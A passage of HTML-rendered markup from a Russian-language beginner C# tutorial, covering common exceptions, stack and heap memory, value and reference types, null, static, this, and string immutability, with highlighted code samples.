class=\"w\"> </span><span class=\"nc\">Program</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Main</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">args</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">ConsoleUI</span><span class=\"w\"> </span><span class=\"n\">ui</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">ConsoleUI</span><span class=\"p\">();</span>\n<span class=\"w\">        </span><span class=\"n\">ui</span><span class=\"p\">.</span><span class=\"n\">Run</span><span class=\"p\">();</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<h3 id=\"что-здесь-использовано-и-зачем\">Что здесь использовано и зачем</h3>\n<table>\n<thead>\n<tr>\n<th>Что</th>\n<th>Где</th>\n<th>Зачем</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Классы</td>\n<td><code>Calculator</code>, <code>Operation</code>, <code>ConsoleUI</code></td>\n<td>Разделение ответственности</td>\n</tr>\n<tr>\n<td>Делегат</td>\n<td><code>MathOperationDelegate</code></td>\n<td>Хранение метода вычисления</td>\n</tr>\n<tr>\n<td>Lambda</td>\n<td><code>(a, b) =&gt; a + b</code></td>\n<td>Краткое описание операций</td>\n</tr>\n<tr>\n<td>Событие</td>\n<td><code>OnCalculation</code></td>\n<td>Уведомление о вычислениях</td>\n</tr>\n<tr>\n<td><code>Dictionary</code></td>\n<td><code>_operations</code></td>\n<td>Быстрый поиск операции по символу</td>\n</tr>\n<tr>\n<td><code>List</code></td>\n<td><code>_history</code></td>\n<td>Хранение истории</td>\n</tr>\n<tr>\n<td><code>try/catch</code></td>\n<td>В <code>ConsoleUI.Run()</code></td>\n<td>Обработка ошибок</td>\n</tr>\n<tr>\n<td><code>TryParse</code></td>\n<td>В <code>ConsoleUI.Run()</code></td>\n<td>Безопасное чтение чисел</td>\n</tr>\n<tr>\n<td>Свойства</td>\n<td><code>Symbol</code>, <code>Name</code> в <code>Operation</code></td>\n<td>Доступ к полям с защитой</td>\n</tr>\n</tbody>\n</table>\n<hr />\n<h2 id=\"приложение-частые-ошибки-и-как-их-понимать\">Приложение: Частые ошибки и как их понимать</h2>\n<h3 id=\"nullreferenceexception\"><code>NullReferenceException</code></h3>\n<div class=\"highlight\"><pre><span></span><code>System.NullReferenceException: Object reference not set to an instance of an object.\n</code></pre></div>\n\n<p>Ты пытаешься использовать переменную, в которой <code>null</code> (ничего нет).</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">null</span><span class=\"p\">;</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">name</span><span class=\"p\">.</span><span class=\"n\">Length</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// ОШИБКА! name - null, у null нет Length</span>\n</code></pre></div>\n\n<p>Решение: проверяй на null или используй <code>?.</code></p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">name</span><span class=\"o\">?.</span><span class=\"n\">Length</span><span class=\"w\"> </span><span class=\"o\">??</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// если null — вернёт 0</span>\n</code></pre></div>\n\n<h3 id=\"indexoutofrangeexception\"><code>IndexOutOfRangeException</code></h3>\n<div class=\"highlight\"><pre><span></span><code>System.IndexOutOfRangeException: Index was outside the bounds of the array.\n</code></pre></div>\n\n<p>Ты обращаешься к элементу массива по индексу, которого не существует.</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">arr</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"w\"> </span><span class=\"p\">};</span><span class=\"w\"> </span><span class=\"c1\">// индексы: 0, 1, 2</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">arr</span><span class=\"p\">[</span><span class=\"m\">5</span><span class=\"p\">]);</span><span class=\"w\"> </span><span class=\"c1\">// ОШИБКА! индекса 5 нет</span>\n</code></pre></div>\n\n<h3 id=\"formatexception\"><code>FormatException</code></h3>\n<p>Ты пытаешься преобразовать строку в число, а строка не число.</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"s\">&quot;abc&quot;</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// ОШИБКА!</span>\n</code></pre></div>\n\n<p>Используй <code>TryParse</code>.</p>\n<hr />\n<hr />\n<h2 id=\"20-память-стек-и-куча\">20. Память: стек и куча</h2>\n<blockquote>\n<p><strong>Зачем это знать?</strong> Когда ты скопируешь переменную и поменяешь одну — иногда изменится другая, а иногда нет. Это кажется магией, но объясняется просто: одни переменные хранят <strong>само значение</strong>, другие хранят <strong>адрес где оно лежит</strong>. Этот раздел объясняет почему.</p>\n</blockquote>\n<p>Это понять трудно, но без этого не понять почему одни вещи работают так, а другие иначе.</p>\n<h3 id=\"два-места-в-памяти\">Два места в памяти</h3>\n<p>Когда программа работает, у неё есть два места где хранятся данные:</p>\n<p><strong>Стек (Stack)</strong> — быстрая, маленькая, автоматическая память.</p>\n<ul>\n<li>Здесь хранятся <strong>локальные переменные</strong> и <strong>параметры методов</strong></li>\n<li>Работает как стопка тарелок — последнюю положил, первой взял</li>\n<li>Когда метод заканчивается — его «тарелка» (всё что он создал) снимается со стека и исчезает</li>\n</ul>\n<p><strong>Куча (Heap)</strong> — медленнее, большая, ручная (управляемая сборщиком мусора).</p>\n<ul>\n<li>Здесь хранятся <strong>объекты</strong> (всё что создаётся через <code>new</code>)</li>\n<li>Данные живут пока на них есть хоть одна ссылка</li>\n</ul>\n<h3 id=\"типы-значений-vs-типы-ссылок\">Типы значений vs типы ссылок</h3>\n<p>Это ключевое различие в C#:</p>\n<p><strong>Типы значений</strong> (value types) — хранят само значение:</p>\n<ul>\n<li><code>int</code>, <code>double</code>, <code>float</code>, <code>decimal</code>, <code>bool</code>, <code>char</code>, <code>struct</code></li>\n<li>Живут в стеке (когда локальные)</li>\n<li>При присваивании <strong>копируется значение</strong></li>\n</ul>\n<p><strong>Типы ссылок</strong> (reference types) — хранят адрес объекта:</p>\n<ul>\n<li>Все классы (<code>string</code>, массивы, <code>List</code>, свои классы)</li>\n<li>Объект живёт в куче, переменная хранит <strong>адрес</strong> объекта</li>\n<li>При присваивании <strong>копируется адрес</strong> (не сам объект!)</li>\n</ul>\n<h3 id=\"почему-это-важно-наглядный-пример\">Почему это важно — наглядный пример</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// ТИП ЗНАЧЕНИЯ — int</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"p\">;</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">;</span><span class=\"w\">   </span><span class=\"c1\">// b получает КОПИЮ значения</span>\n<span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">99</span><span class=\"p\">;</span>\n\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// 10 — a не изменился!</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">b</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// 99</span>\n</code></pre></div>\n\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// ТИП ССЫЛКИ — класс</span>\n<span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Box</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">Value</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"p\">}</span>\n\n<span class=\"n\">Box</span><span class=\"w\"> </span><span class=\"n\">box1</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Box</span><span class=\"p\">();</span>\n<span class=\"n\">box1</span><span class=\"p\">.</span><span class=\"n\">Value</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"p\">;</span>\n\n<span class=\"n\">Box</span><span class=\"w\"> </span><span class=\"n\">box2</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">box1</span><span class=\"p\">;</span><span class=\"w\">  </span><span class=\"c1\">// box2 получает тот же АДРЕС что и box1</span>\n<span class=\"n\">box2</span><span class=\"p\">.</span><span class=\"n\">Value</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">99</span><span class=\"p\">;</span><span class=\"w\">  </span><span class=\"c1\">// меняем объект по этому адресу</span>\n\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">box1</span><span class=\"p\">.</span><span class=\"n\">Value</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// 99 — box1 тоже изменился!</span>\n<span class=\"c1\">// Потому что box1 и box2 указывают на ОДИН И ТОТ ЖЕ объект в куче</span>\n</code></pre></div>\n\n<p>Схематично это выглядит так:</p>\n<div class=\"highlight\"><pre><span></span><code>Стек:                  Куча:\n┌──────────┐           ┌──────────────┐\n│ box1 ────┼──────────►│  Box object  │\n├──────────┤           │  Value = 99  │\n│ box2 ────┼──────────►└──────────────┘\n└──────────┘\n  (оба хранят\n   один адрес)\n</code></pre></div>\n\n<h3 id=\"null-никуда-не-указывает\">null — «никуда не указывает»</h3>\n<p><code>null</code> — это специальное значение для ссылочных типов, означающее «переменная ни на что не указывает».</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">Box</span><span class=\"w\"> </span><span class=\"n\">box</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">null</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// переменная есть, объекта нет</span>\n\n<span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">box</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"k\">null</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Объект не создан!&quot;</span><span class=\"p\">);</span>\n\n<span class=\"n\">box</span><span class=\"p\">.</span><span class=\"n\">Value</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// ОШИБКА! NullReferenceException — нет объекта, к которому обращаться</span>\n</code></pre></div>\n\n<p>Всегда проверяй на <code>null</code> перед использованием, или создай объект через <code>new</code>.</p>\n<hr />\n<h2 id=\"21-static-что-это-на-самом-деле\">21. static — что это на самом деле</h2>\n<p>Ты уже видел <code>static</code> повсюду — в методах, в полях, в самом <code>Main</code>. Разберём по-человечески.</p>\n<h3 id=\"без-static-принадлежит-объекту\">Без static — принадлежит объекту</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Counter</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">Count</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// каждый объект имеет СВОЙ Count</span>\n<span class=\"p\">}</span>\n\n<span class=\"n\">Counter</span><span class=\"w\"> </span><span class=\"n\">c1</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Counter</span><span class=\"p\">();</span>\n<span class=\"n\">Counter</span><span class=\"w\"> </span><span class=\"n\">c2</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Counter</span><span class=\"p\">();</span>\n\n<span class=\"n\">c1</span><span class=\"p\">.</span><span class=\"n\">Count</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">;</span>\n<span class=\"n\">c2</span><span class=\"p\">.</span><span class=\"n\">Count</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"p\">;</span>\n\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">c1</span><span class=\"p\">.</span><span class=\"n\">Count</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// 5</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">c2</span><span class=\"p\">.</span><span class=\"n\">Count</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// 10 — разные!</span>\n</code></pre></div>\n\n<h3 id=\"с-static-принадлежит-классу-одно-на-всех\">С static — принадлежит классу (одно на всех)</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Counter</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">TotalCount</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// ОДНО для всего класса</span>\n<span class=\"p\">}</span>\n\n<span class=\"n\">Counter</span><span class=\"p\">.</span><span class=\"n\">TotalCount</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">;</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">Counter</span><span class=\"p\">.</span><span class=\"n\">TotalCount</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// 5</span>\n\n<span class=\"c1\">// Обращаемся через имя КЛАССА, не через объект:</span>\n<span class=\"n\">Counter</span><span class=\"w\"> </span><span class=\"n\">c</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Counter</span><span class=\"p\">();</span>\n<span class=\"c1\">// c.TotalCount — так писать не надо (хотя сработает, это плохой стиль)</span>\n<span class=\"n\">Counter</span><span class=\"p\">.</span><span class=\"n\">TotalCount</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">99</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// правильно</span>\n</code></pre></div>\n\n<h3 id=\"static-метод-не-нужен-объект-для-вызова\">static метод — не нужен объект для вызова</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">MathHelper</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"nf\">Square</span><span class=\"p\">(</span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n\n<span class=\"c1\">// Вызываем без создания объекта</span>\n<span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">MathHelper</span><span class=\"p\">.</span><span class=\"n\">Square</span><span class=\"p\">(</span><span class=\"m\">5</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// 25</span>\n</code></pre></div>\n\n<p>Сравни с нестатическим:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">MathHelper</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"nf\">Square</span><span class=\"p\">(</span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n\n<span class=\"n\">MathHelper</span><span class=\"w\"> </span><span class=\"n\">helper</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">MathHelper</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// нужно создать объект</span>\n<span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">helper</span><span class=\"p\">.</span><span class=\"n\">Square</span><span class=\"p\">(</span><span class=\"m\">5</span><span class=\"p\">);</span><span class=\"w\">      </span><span class=\"c1\">// только тогда вызвать</span>\n</code></pre></div>\n\n<h3 id=\"почему-main-static\">Почему Main — static?</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Main</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">args</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p><code>Main</code> статический, потому что когда программа запускается — <strong>никаких объектов ещё не существует</strong>. Некому было бы создать объект <code>Program</code>, чтобы вызвать нестатический <code>Main</code>. Поэтому <code>Main</code> вызывается напрямую через класс, без объекта.</p>\n<h3 id=\"когда-делать-static\">Когда делать static?</h3>\n<ul>\n<li>Метод <strong>не использует поля объекта</strong> (не обращается к <code>this</code>) → делай <code>static</code></li>\n<li>Вспомогательные функции (утилиты, математика, парсинг) → <code>static</code></li>\n<li>Данные которые <strong>общие для всех</strong> (счётчик созданных объектов, конфигурация) → <code>static</code> поле</li>\n</ul>\n<hr />\n<h2 id=\"22-this-ключевое-слово\">22. this — ключевое слово</h2>\n<p><code>this</code> — это ссылка на <strong>текущий объект</strong>. Используется внутри методов класса.</p>\n<h3 id=\"зачем-нужен-this\">Зачем нужен this?</h3>\n<p><strong>Проблема:</strong> параметр и поле называются одинаково — кто есть кто?</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Person</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// поле</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">Person</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"c1\">// параметр тоже называется name!</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// БЕССМЫСЛИЦА! Это присваивает параметр сам себе</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p><strong>Решение с this:</strong></p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Person</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// поле</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">Person</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"c1\">// параметр</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">this</span><span class=\"p\">.</span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// this.name — поле объекта, name — параметр</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p><code>this.name</code> — поле текущего объекта.<br />\n<code>name</code> (без <code>this</code>) — параметр метода (ближайшее объявление).</p>\n<h3 id=\"хорошая-практика-всегда-так-называть\">Хорошая практика — всегда так называть</h3>\n<p>Многие разработчики называют приватные поля с подчёркиванием, чтобы не путать:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Person</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">private</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">_name</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// поле с _</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">Person</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">_name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// теперь ясно что _name — поле, name — параметр</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>В этом случае <code>this</code> не нужен — имена разные.</p>\n<h3 id=\"this-для-передачи-себя-другому-методу\">this для передачи себя другому методу</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Printer</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">PrintSelf</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">PrintObject</span><span class=\"p\">(</span><span class=\"k\">this</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// передаём текущий объект в метод</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">PrintObject</span><span class=\"p\">(</span><span class=\"n\">Printer</span><span class=\"w\"> </span><span class=\"n\">p</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Получил объект: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">p</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"23-строки-подробный-разбор\">23. Строки — подробный разбор</h2>\n<p>Строки в C# — особенный тип. Многие вещи ведут себя неожиданно.</p>\n<h3 id=\"строки-неизменяемы-immutable\">Строки неизменяемы (immutable)</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">s</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Привет&quot;</span><span class=\"p\">;</span>\n<span class=\"n\">s</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">s</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; мир&quot;</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// это НЕ изменяет строку — создаёт НОВУЮ!</span>\n</code></pre></div>\n\n<p>Каждая операция со строкой создаёт новый объект в памяти. Исходная строка не меняется.</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Привет&quot;</span><span class=\"p\">;</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">;</span><span class=\"w\">      </span><span class=\"c1\">// b указывает на тот же объект</span>\n\n<span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; мир&quot;</span><span class=\"p\">;</span><span class=\"w\">    </span><span class=\"c1\">// a теперь указывает на НОВЫЙ объект &quot;Привет мир&quot;</span>\n<span class=\"w\">                   </span><span class=\"c1\">// b всё ещё &quot;Привет&quot;</span>\n\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// Привет мир</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">b</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// Привет</span>\n</code></pre></div>\n\n<h3 id=\"сравнение-строк-почему-работает\">Сравнение строк — почему == работает</h3>\n<p>Для классов <code>==</code> обычно сравнивает адреса (одни ли объекты), а не содержимое. Но для <code>string</code> в C# сделали исключение — <code>==</code> сравнивает содержимое:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">s1</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Привет&quot;</span><span class=\"p\">;</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">s2</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Привет&quot;</span><span class=\"p\">;</span>\n\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">s1</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"n\">s2</span><span class=\"p\">);</span><span class=\"w\">           </span><span class=\"c1\">// True — одинаковое содержимое</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">s1</span><span class=\"p\">.</span><span class=\"n\">Equals</span><span class=\"p\">(</span><span class=\"n\">s2</span><span class=\"p\">));</span><span class=\"w\">      </span><span class=\"c1\">// True — то же самое</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span 